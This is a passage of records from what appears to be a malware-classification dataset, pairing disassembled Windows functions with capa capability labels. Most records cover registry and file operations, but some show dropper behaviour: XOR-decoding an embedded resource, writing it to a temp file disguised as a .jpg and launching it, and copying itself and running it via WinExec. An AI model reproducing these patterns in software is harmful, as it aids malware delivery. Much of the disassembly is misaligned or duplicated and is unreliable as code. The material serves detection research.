joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1005aa07
Capabilities:
Query or enumerate registry value

Disassembly:
lea eax, [ebp - 0x238]
push eax
push 0
mov ecx, dword [ebp - 0x274]
call 0x1007774b
xor ch, cl
add dword [eax], eax
push eax
mov ecx, dword [ebp - 0x244]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1005aa39
mov dword [ebp - 0x25c], 1
jmp 0x1005aa43
mov dword [ebp - 0x25c], 0
mov dl, byte [ebp - 0x25c]
mov byte [ebp - 0x248], dl
lea ecx, [ebp - 0x2c0]
call 0x100777ca
movzx eax, byte [ebp - 0x248]
test eax, eax
je 0x1005aa6c
mov byte [ebp - 0x245], 1
invalid
test eax, ecx
std
invalid
invalid
invalid

Function at 0x1005aac0
Capabilities:
Query or enumerate registry value

Disassembly:
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1005aad6
mov dword [ebp - 0x260], 1
jmp 0x1005aae0
mov dword [ebp - 0x260], 0
mov dl, byte [ebp - 0x260]
mov byte [ebp - 0x249], dl
lea ecx, [ebp - 0x2d8]
call 0x10077867
jo 0x1005aac2
add dword [eax], eax
movzx ecx, byte [ebp - 0x245]
test ecx, ecx
je 0x1005abab
mov edx, 2
shl edx, 2
mov eax, 0x64
mov word [ebp + edx - 0x24], ax
mov ecx, 2
shl ecx, 0
mov edx, 0x64
add byte fs:[eax], al
add byte [esi - 0x77], ah
push esp
or eax, 0x2b8dc
add al, byte [eax]
add byte [eax], al

Function at 0x1005b6aa
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
add al, byte [eax]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x74], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0x74]
call 0x100783f4
push eax
lea ecx, [ebp - 0x20]
call 0x100778fd
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xc8]
call 0x1007844c
mov dword [ebp - 0xb0], 0x200
mov dword [ebp - 0xac], 0x100
add byte [edx + 4], ch
lea ecx, [ebp - 0x14]
call fcn.1005c4fa
lea ecx, [ebp - 0x14]
call 0x100779d2
rol dl, 1
add dword [eax], eax
mov byte [ebp - 4], 3
mov dword [ebp - 0x24], 0x104
jmp 0x1005b8d4

Function at 0x1005b881
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
add byte [ebp - 0x3f1713b3], cl
ret

Function at 0x1005b982
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
add dword [eax], eax
mov byte [ebp - 4], 6
mov dword [ebp - 0x54], 0
cmp dword [ebp - 0x58], 0
jne 0x1005bad9
mov dword [ebp - 0x24], 0x104
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x84], ecx
push 0
push 0
push 0
push 0
Function at 0x1005b9b1
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
lea edx, [ebp - 0x24]
push edx
push 0x104
lea ecx, [ebp - 0x1c]
call 0x10077d82
push eax
mov eax, dword [ebp - 0x84]
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x54]
add edx, 1
mov dword [ebp - 0x54], edx
push 0xffffffffffffffff
lea ecx, [ebp - 0x1c]
call 0x1007882a
cmp dword [ebp - 0x58], 0
jne 0x1005bad4
lea ecx, [ebp - 0x20]
call 0x10077d9c
push eax
push 0
lea eax, [ebp - 0x8c]
push eax
lea ecx, [ebp - 0x1c]
call 0x1007b9de
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x88]
push edx
call 0x1007d6c4
add esp, 8
mov byte [ebp - 0x3d], al
lea ecx, [ebp - 0x8c]
call 0x10077bc5
movzx eax, byte [ebp - 0x3d]
test eax, eax
je 0x1005bad4
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x30], 0x104
mov edx, 0x2c
lea ecx, [ebp - 0x128]
call 0x1007edbf
mov dword [ebp - 0x90], eax
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x9c], ecx
mov byte [ebp - 4], 7
inc ebp
cld
pop es
lea edx, [ebp - 0x30]
push edx
push 0x104
lea ecx, [ebp - 0x14]
call 0x10077e46
push eax
lea eax, [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x9c]

Function at 0x1005bfac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc ebp
cld
add eax, dword [eax]
add byte [eax], al
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xb4]
push ecx
call 0x100b67c2
add esp, 8
mov byte [ebp - 0x1d], al
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb4]
call 0x10078d4a

Function at 0x1005c03b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add byte [eax - 0x73], dl
dec ebp
call 0xc13ac2c
inc esi
inc ebp
cld
push es

Function at 0x1005c06b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.1001ceb0
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0x14]
push ecx
call 0x100b591f
add esp, 8
mov dword [ebp - 0x9c], eax
mov byte [ebp - 4], 7
push 0x10081d28
lea ecx, [ebp - 0x2c]
call 0x10078249
mov byte [ebp - 4], 8
push 0x10081d2c
lea ecx, [ebp - 0x28]
call 0x1007825a
mov byte [ebp - 4], 9
mov edx, 0x35
lea ecx, [ebp - 0x114]
call 0x1007f41e
mov dword [ebp - 0x44], eax
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x64], edx
mov byte [ebp - 4], 0xa
mov edx, 0x2a
lea ecx, [ebp - 0xfc]
call 0x1007f43b
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]

Function at 0x1005c308
Capabilities:
Check if file exists
Delete file
Write file on windows

Disassembly:
and byte [eax], al
add byte [eax - 1], dl
adc eax, sym.imp.KERNEL32.dll_CreateFileW
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0xffffffff
jne 0x1005c33c
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call 0x100784c4
add byte [edx + 0x40e9e745], cl
invalid
invalid
invalid
push 0
lea edx, [ebp - 0x18]
push edx
mov ecx, dword [ebp + 0xc]
call 0x1007720a
push eax
mov ecx, dword [ebp + 0xc]
call 0x1007ab83
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0xc]
call 0x10077226
Function at 0x1005c333
Capabilities:
Check if file exists
Delete file
Write file on windows

Disassembly:
and byte [eax], al
add byte [eax - 1], dl
adc eax, sym.imp.KERNEL32.dll_CreateFileW
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0xffffffff
jne 0x1005c33c
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call 0x100784c4
add byte [edx + 0x40e9e745], cl
invalid
invalid
invalid
push 0
lea edx, [ebp - 0x18]
push edx
mov ecx, dword [ebp + 0xc]
call 0x1007720a
push eax
mov ecx, dword [ebp + 0xc]
call 0x1007ab83
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0xc]
call 0x10077226

Function at 0x1005c336
Capabilities:
Check if file exists
Delete file
Write file on windows

Disassembly:
and byte [eax], al
add byte [eax - 1], dl
adc eax, sym.imp.KERNEL32.dll_CreateFileW
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0xffffffff
jne 0x1005c33c
mov byte [ebp - 0x19], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call 0x100784c4
add byte [edx + 0x40e9e745], cl
invalid
invalid
invalid
push 0
lea edx, [ebp - 0x18]
push edx
mov ecx, dword [ebp + 0xc]
call 0x1007720a
push eax
mov ecx, dword [ebp + 0xc]
call 0x1007ab83
push eax
mov eax, dword [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp + 0xc]
call 0x10077226

Function at 0x1005c366
Capabilities:
Check if file exists
Delete file

Disassembly:
push eax
mov ecx, dword [ebp + 0xc]
call 0x1007ab9f
call 0xf855c372
jo 0x1005c34e
add dword [eax], eax
add esp, 8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x14]
call fcn.1005e3ca
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1005c3b5
mov byte [ebp - 0x1a], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call 0x1007853d
mov al, byte [ebp - 0x1a]
jmp 0x100b7bf5
invalid
invalid
invalid
push 0x1008375c
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
push str.Run2
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp + 0x18]
dec ebp
sbb byte [ecx - 0x75], dl
push ebp
adc al, 0x52
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x38]
call 0x100b7d09
mov byte [ebp - 0x1b], al
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x14]
call fcn.1005e44e
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1005c428
lea ecx, [ebp - 0x14]
call fcn.1005e461
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dl, byte [ebp - 0x1b]
mov byte [ebp - 0x1c], dl
invalid
inc ebp
cld
invalid
invalid
invalid
Function at 0x1005c36c
Capabilities:
Check if file exists
Delete file

Disassembly:
push eax
mov ecx, dword [ebp + 0xc]
call 0x1007ab9f
call 0xf855c372
jo 0x1005c34e
add dword [eax], eax
add esp, 8
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x14]
call fcn.1005e3ca
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x1005c3b5
mov byte [ebp - 0x1a], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call 0x1007853d
mov al, byte [ebp - 0x1a]
jmp 0x100b7bf5
invalid
invalid
invalid
push 0x1008375c
mov edx, dword [ebp - 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x34], eax
push str.Run2
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp + 0x18]
dec ebp
sbb byte [ecx - 0x75], dl
push ebp
adc al, 0x52
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x30]
push edx
mov eax, dword [ebp - 0x34]
push eax
mov ecx, dword [ebp - 0x38]
call 0x100b7d09
mov byte [ebp - 0x1b], al
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x14]
call fcn.1005e44e
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x1005c428
lea ecx, [ebp - 0x14]
call fcn.1005e461
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dl, byte [ebp - 0x1b]
mov byte [ebp - 0x1c], dl
invalid
inc ebp
cld
invalid
invalid
invalid

Function at 0x1005d05a
Capabilities:
Get file version info

Disassembly:
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x60]
dec ebp
mov al, byte [0xb8558b51]
push edx
lea ecx, [ebp + 0xc]
call 0x10079da4
push eax

Function at 0x1005d065
Capabilities:
Get file version info

Disassembly:
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x60]
dec ebp
mov al, byte [0xb8558b51]
push edx
lea ecx, [ebp + 0xc]
call 0x10079da4
push eax

Function at 0x1005d295
Capabilities:
Query or enumerate registry value

Disassembly:
add byte [eax], al
mov eax, dword [0x1008c070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]

Function at 0x1005d296
Capabilities:
Query or enumerate registry value

Disassembly:
add byte [eax], al
mov eax, dword [0x1008c070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]

Function at 0x1005d2a4
Capabilities:
Query or enumerate registry value

Disassembly:
add byte [eax], al
mov eax, dword [0x1008c070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]

Function at 0x1005d2bf
Capabilities:
Query or enumerate registry value

Disassembly:
xor eax, eax
mov word [ebp - 0x220], ax
push 0x206
push 0
lea ecx, [ebp - 0x21e]
push ecx
call 0x1008824b
add esp, 0xc
mov dword [ebp - 0x254], 0x80000002
movzx edx, byte [ebp + 0x10]
push ebp
invalid
test edx, edx
invalid
je 0x1005d30e
Function at 0x1005d2ea
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
adc byte [ebp - 0x38e18b2e], al
sal byte [esi + ebx - 0x39], cl
test dword [ebp + edi*8 + 0x3ffff], ebp
add byte [eax + 0x10468], al
add byte [ebp - 0x21f7b], cl
call dword [eax - 0x18]

Function at 0x1005d2ed
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
adc byte [ebp - 0x38e18b2e], al
sal byte [esi + ebx - 0x39], cl
test dword [ebp + edi*8 + 0x3ffff], ebp
add byte [eax + 0x10468], al
add byte [ebp - 0x21f7b], cl
call dword [eax - 0x18]

Function at 0x1005d355
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x298], eax
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x298]
call 0x1007a0a0
push eax
lea ecx, [ebp - 0x234]
call 0x100795ac
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x2dc]
call 0x1007a0fb
push 4
lea ecx, [ebp - 0x22c]
call fcn.1005e198
mov edx, 0x2c
lea ecx, [ebp - 0x2f4]

Function at 0x1005d3a3
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x10080708
mov dword [ebp - 0x2a8], eax
mov ecx, dword [ebp - 0x2a8]
mov dword [ebp - 0x2bc], ecx
invalid
inc ebp
cld

Function at 0x1005d3c9
Capabilities:
Query or enumerate registry value

Disassembly:
push eax
lea ecx, [ebp - 0x22c]
call 0x10079605
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x2f4]
call 0x1007a154
push 4
lea ecx, [ebp - 0x230]
call fcn.1005e1f1
mov edx, 0x2d
lea ecx, [ebp - 0x30c]
call 0x10080761
mov dword [ebp - 0x25c], eax
mov edx, dword [ebp - 0x25c]
mov dword [ebp - 0x260], edx
inc esi
inc ebp
cld
pop es

Function at 0x1005d412
Capabilities:
Query or enumerate registry value

Disassembly:
inc esi
inc ebp
cld
pop es
mov ecx, dword [ebp - 0x260]
call 0x1007a152
push eax
lea ecx, [ebp - 0x230]
call 0x1007965e
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x30c]
call 0x1007a1ad
lea eax, [ebp - 0x240]
push eax
mov ecx, dword [ebp - 0x250]
push ecx
push 0
lea ecx, [ebp - 0x228]
call fcn.1005f62b
push eax
mov edx, dword [ebp - 0x254]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1005d7c1
push 4
lea ecx, [ebp - 0x224]
call fcn.1005e40e
push 0x1006d2df
lea ecx, [ebp - 0x224]
call 0x100797ce
mov byte [ebp - 4], 0x11
mov dword [ebp - 0x23c], 1
mov dword [ebp - 0x2c4], 0x800
mov dword [ebp - 0x238], 0x1000
std
invalid
inc dword [eax]
adc byte [eax], al
add byte [ebp - 0x2377b], cl
call dword [eax + 0x68]
add byte [eax], cl
add byte [eax], al
lea ecx, [ebp - 0x224]
call 0x10079a17
push eax
lea ecx, [ebp - 0x23c]
push ecx
push 0
lea ecx, [ebp - 0x22c]
call fcn.1005f6ac
push eax
mov edx, dword [ebp - 0x240]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [ebp - 0x29c], eax
push 0xffffffffffffffff
lea ecx, [ebp - 0x224]
call 0x1007a4cd
cmp dword [ebp - 0x29c], 0
add byte [edi], cl
test dword [ebx], ecx
add dword [eax], eax
invalid
push 0x1008373c
lea ecx, [ebp - 0x2b4]
call 0x1007985a
mov dword [ebp - 0x2a0], eax
dec dword [ebx - 0x29f7b]
dec dword [ecx - 0x2a37b]
inc esi
inc ebp
cld
adc cl, byte [ebp - 0x22f73]
call dword [ecx - 0x75]
xchg ebp, eax
pop esp
std
invalid
call dword [edx - 0x73]
invalid
Function at 0x1005d43d
Capabilities:
Query or enumerate registry value

Disassembly:
push 4
lea ecx, [ebp - 0x228]
call fcn.1005e24a

Function at 0x1005d44a
Capabilities:
Query or enumerate registry value

Disassembly:
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x228]
call 0x1007970c
mov byte [ebp - 4], 0xa
push str._
lea ecx, [ebp - 0x248]
call 0x10079620
mov byte [ebp - 4], 0xb
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x248]
push edx
lea eax, [ebp - 0x26c]

Function at 0x1005d485
Capabilities:
Query or enumerate registry value

Disassembly:
push eax
call 0x1007f15b
add esp, 0xc
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x264]
mov dword [ebp - 0x268], ecx
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x268]
push edx
lea ecx, [ebp - 0x228]
call 0x1007fc36
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x26c]
call 0x10079655
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x248]
call 0x10079664
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1005d5d0
push 0x10083738
lea ecx, [ebp - 0x24c]
call 0x100796a0
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x220]
push ecx
lea ecx, [ebp - 0x290]
call 0x10079736
mov dword [ebp - 0x270], eax
mov edx, dword [ebp - 0x270]
mov dword [ebp - 0x274], edx
mov byte [ebp - 4], 0xe
invalid
invalid
mov ah, 0xfd
invalid
Function at 0x403da0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push edi
mov edi, ecx
mov ebx, edx
test edi, edi
je 0x403dda
mov eax, str.KLJEWERHsdwqeh23211__asdqSADwe
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403db2
sub eax, edx
xor edx, edx
push esi
xor esi, esi
test ebx, ebx
je 0x403dd9
cmp edx, eax
sbb ecx, ecx
and edx, ecx
mov cl, byte [edx + str.KLJEWERHsdwqeh23211__asdqSADwe]
inc edx
xor byte [esi + edi], cl
inc esi
cmp esi, ebx
jb 0x403dc4
pop esi
pop edi
pop ebx
ret

Function at 0x403de0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
call fcn.00431590
mov esi, eax
test esi, esi
jne 0x403df2
pop esi
pop ebp
ret
push edi
push str.DATA
push 0xee
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x403e0e
pop edi
pop esi
pop ebp
ret
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
jne 0x403e22
pop ebx
pop edi
pop esi
pop ebp
ret
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
push esi
call fcn.00406920
add esp, 4
mov edi, eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
push eax
push edi
call fcn.006c9b60
mov eax, dword [ebp + 8]
add esp, 0xc
test eax, eax
je 0x403e52
mov dword [eax], esi
push ecx
mov edx, esi
mov ecx, edi
call fcn.00403da0
add esp, 4
mov eax, edi
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x4041d0
Capabilities:
Check mutex on windows
Copy file
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x6f85d0
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [0x782e08]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, ecx
test esi, esi
je 0x40420c
call fcn.004051f0
push str.JYRSrWGq23azZCGYw67q
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x404238
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4042dd
test esi, esi
je 0x4042d8
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x404231
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x118]
push eax
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0x104
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x404231
push 0x77df10
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0xaf
push eax
call fcn.006cceb0
push 0
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4042d2
push 0
lea eax, [ebp - 0x118]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 0x404231
ret
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.006c31f0
mov esp, ebp
pop ebp
ret
Function at 0x404e70
Capabilities:
Create thread

Disassembly:
push edi
mov edi, ecx
test edi, edi
je 0x404ecb
push esi
push 0x1a9
push str.TestIcDlg.cpp
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor ecx, ecx
add eax, 2
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00406970
add esp, 0xc
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0
push esi
push 0x404d30
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
ret
Function at 0x4051f0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x782e08]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.BRESUZCDY.jpg
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ecx
lea eax, [ebp - 0x214]
push eax
call fcn.00403de0
mov esi, eax
add esp, 8
test esi, esi
je 0x4052ec
push edi
mov edi, dword [ebp - 0x214]
mov edx, 8
test edi, edi
je 0x4052e2
mov ecx, esi
mov eax, dword [ecx]
dec edx
add eax, 0xc
add ecx, eax
mov eax, ecx
sub eax, esi
cmp eax, edi
jae 0x4052e2
test edx, edx
jne 0x405258
mov eax, dword [ecx]
push ebx
lea ebx, [ecx + 4]
mov dword [ebp - 0x214], eax
test ebx, ebx
je 0x4052e1
push edx
push 0x80
push 2
push edx
push edx
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
test edi, edi
je 0x4052e1
cmp edi, 0xffffffff
je 0x4052e1
push 0
lea eax, [ebp - 0x210]
push eax
push dword [ebp - 0x214]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
push edi
setne bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x4052e1
push 1
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
push esi
call fcn.004068a0
add esp, 4
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.006c31f0
mov esp, ebp
pop ebp
ret

Function at 0x405aa0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x405ab5
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x405af4
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x405af0
lea ebx, [ebx]
cmp esi, edx
jae 0x405af4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x405ae0
cmp esi, edx
jb 0x405af9
xor eax, eax
pop esi
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop ebp
ret
Function at 0x425010
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
push ecx
lea edi, [ebp - 0x30]
mov ecx, 0xc
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
pop ecx
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], 0
jne 0x425046
push 0x8a
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfc_appui3.cpp
call fcn.00442350
test eax, eax
je 0x425046
int3
cmp dword [ebp + 0xc], 0
jne 0x425060
push 0x8b
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfc_appui3.cpp
call fcn.00442350
test eax, eax
je 0x425060
int3
mov edx, dword [ebp - 4]
cmp dword [edx + 0x58], 0
je 0x425114
push 0
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
call fcn.00425500
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x42508c
mov eax, dword [ebp + 0x10]
jmp 0x425153
mov dword [ebp - 0x28], 4
mov esi, esp
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp esi, esp
call fcn.006c7eb0
mov dword [ebp - 0x30], eax
mov esi, esp
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, esp
call fcn.006c7eb0
cmp dword [ebp - 0x30], 0
jne 0x42510d
cmp dword [ebp - 0x1c], 4
je 0x4250ee
push 0x99
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfc_appui3.cpp
call fcn.00442350
test eax, eax
je 0x4250ee
int3
cmp dword [ebp - 0x28], 4
je 0x425108
push 0x9a
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfc_appui3.cpp
call fcn.00442350
test eax, eax
je 0x425108
int3
mov eax, dword [ebp - 0x10]
jmp 0x425153
mov eax, dword [ebp + 0x10]
jmp 0x425153
mov eax, dword [ebp - 4]
cmp dword [eax + 0x6c], 0
jne 0x425131
push 0xa1
push str.f:dd_vctools_vc7libs_ship_atlmfc_srcmfc_appui3.cpp
call fcn.00442350
test eax, eax
je 0x425131
int3
mov esi, esp
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x6c]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
cmp esi, esp
call fcn.006c7eb0
push edx
mov ecx, ebp
push eax
lea edx, [0x425178]
call fcn.006c7e50
pop eax
pop edx
pop edi
pop esi
add esp, 0x30
cmp ebp, esp
call fcn.006c7eb0
mov esp, ebp
pop ebp
ret 0xc